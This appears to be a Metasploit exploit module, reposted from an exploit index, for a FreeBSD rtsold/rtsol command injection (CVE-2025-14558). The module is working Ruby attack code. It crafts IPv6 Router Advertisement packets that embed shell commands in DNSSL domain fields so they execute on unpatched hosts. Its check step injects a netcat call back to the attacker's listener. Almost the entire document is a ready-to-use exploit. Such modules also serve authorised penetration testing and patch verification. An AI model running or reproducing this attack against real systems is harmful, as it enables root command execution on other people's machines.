Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-FREEBSD-MISC-RTSOLD_DNSSL_CMDINJECT-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Capture
  include Msf::Exploit::Remote::Ipv6

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'FreeBSD rtsold/rtsol DNSSL Command Injection',
        'Description' => %q{
          This module exploits a command injection vulnerability (CVE-2025-14558)
          in FreeBSD's rtsol(8) and rtsold(8) programs. These programs do not
          validate the domain search list options provided in IPv6 Router
          Advertisement messages; the option body is passed to resolvconf(8)
          unmodified. resolvconf(8) is a shell script which does not validate
          its input. A lack of quoting means that shell commands passed as input
          to resolvconf(8) may be executed, enabling command injection via $()
          substitution in the DNSSL domain name fields.

          This exploit requires Layer 2 adjacency to the target (same network
          segment) and root privileges to send raw packets. Router advertisement
          messages are not routable and should be dropped by routers, so the
          attack does not cross network boundaries.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Lukas Johannes Möller',  # Metasploit module and PoC
          'Kevin Day'               # Vulnerability discovery
        ],
        'References' => [
          ['CVE', '2025-14558'],
          ['EDB', '52463'],
          ['URL', 'https://security.FreeBSD.org/advisories/FreeBSD-SA-25:12.rtsold.asc'],
          ['URL', 'https://github.com/JohannesLks/CVE-2025-14558']
        ],
        'Platform' => ['unix'],
        'Arch' => ARCH_CMD,
        'Privileged' => true,
        'Targets' => [
          [
            'FreeBSD (all versions before 13.5-RELEASE-p8 / 14.3-RELEASE-p7 / 15.0-RELEASE-p1)',
            {}
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2025-12-16',
        'DefaultOptions' => {
          'PAYLOAD' => 'cmd/unix/generic'
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )

    register_options(
      [
        OptString.new('INTERFACE', [true, 'The network interface to use for sending RA packets']),
        OptInt.new('COUNT', [true, 'Number of RA packets to send', 3]),
        OptInt.new('DELAY', [true, 'Delay between packets in milliseconds', 1000])
      ]
    )

    deregister_options('RHOSTS', 'FILTER', 'PCAPFILE', 'SNAPLEN', 'TIMEOUT')
  end

  def check
    check_pcaprub_loaded

    # Use unspecified address to select default outbound interface
    lhost = datastore['LHOST'] || Rex::Socket.source_address('0.0.0.0')
    lport = datastore['LPORT'] || rand(44444..45444)
    service = nil
    client = nil

    begin
      service = Rex::Socket::TcpServer.create(
        'LocalHost' => lhost,
        'LocalPort' => lport,
        'SSL' => false,
        'Context' => {
          'Msf' => framework,
          'MsfExploit' => self
        }
      )

      vprint_status("Started check listener on #{lhost}:#{lport}")

      check_cmd = "nc -w 5 #{lhost} #{lport}"
      vprint_status("Sending RA packets with check payload: #{check_cmd}")

      send_ra_packets(check_cmd)

      vprint_status('Waiting for connection...')

      Timeout.timeout(10) do
        client = service.accept
        if client
          vprint_good("Connection received from #{client.peerhost}")
          return CheckCode::Vulnerable('Target connected back via encoded payload')
        end
      end
    rescue Timeout::Error
      return CheckCode::Safe('No connection received within timeout')
    rescue RuntimeError => e
      return CheckCode::Unknown("Pcaprub error: #{e}")
    rescue StandardError => e
      return CheckCode::Unknown("Error during check: #{e.class} - #{e}")
    ensure
      client.close if client
      service.close if service
    end

    CheckCode::Safe('The rtsold did not respond, target might not be vulnerable')
  end

  def send_ra_packets(cmd)
    interface = datastore['INTERFACE']
    count = datastore['COUNT']
    delay_ms = datastore['DELAY']

    begin
      smac = get_mac(interface)
    rescue StandardError => e
      fail_with(Failure::BadConfig, "Cannot get MAC address for interface #{interface}: #{e}")
    end

    begin
      open_pcap('INTERFACE' => interface, 'ARPCAP' => false)
    rescue StandardError => e
      fail_with(Failure::BadConfig, "Cannot open pcap on interface #{interface}: #{e}")
    end

    begin
      pkt = ipv6_build_ra_packet(smac, cmd, ipv6_link_address('INTERFACE' => interface))
      count.times do |i|
        inject(pkt.to_s)
        Rex.sleep(delay_ms / 1000.0) if i < count - 1
      end
    ensure
      close_pcap
    end
  end

  def exploit
    check_pcaprub_loaded

    print_status("Sending #{datastore['COUNT']} Router Advertisement(s) with DNSSL payload...")
    send_ra_packets(payload.encoded)
    print_good('Router Advertisement(s) sent successfully')
  end
end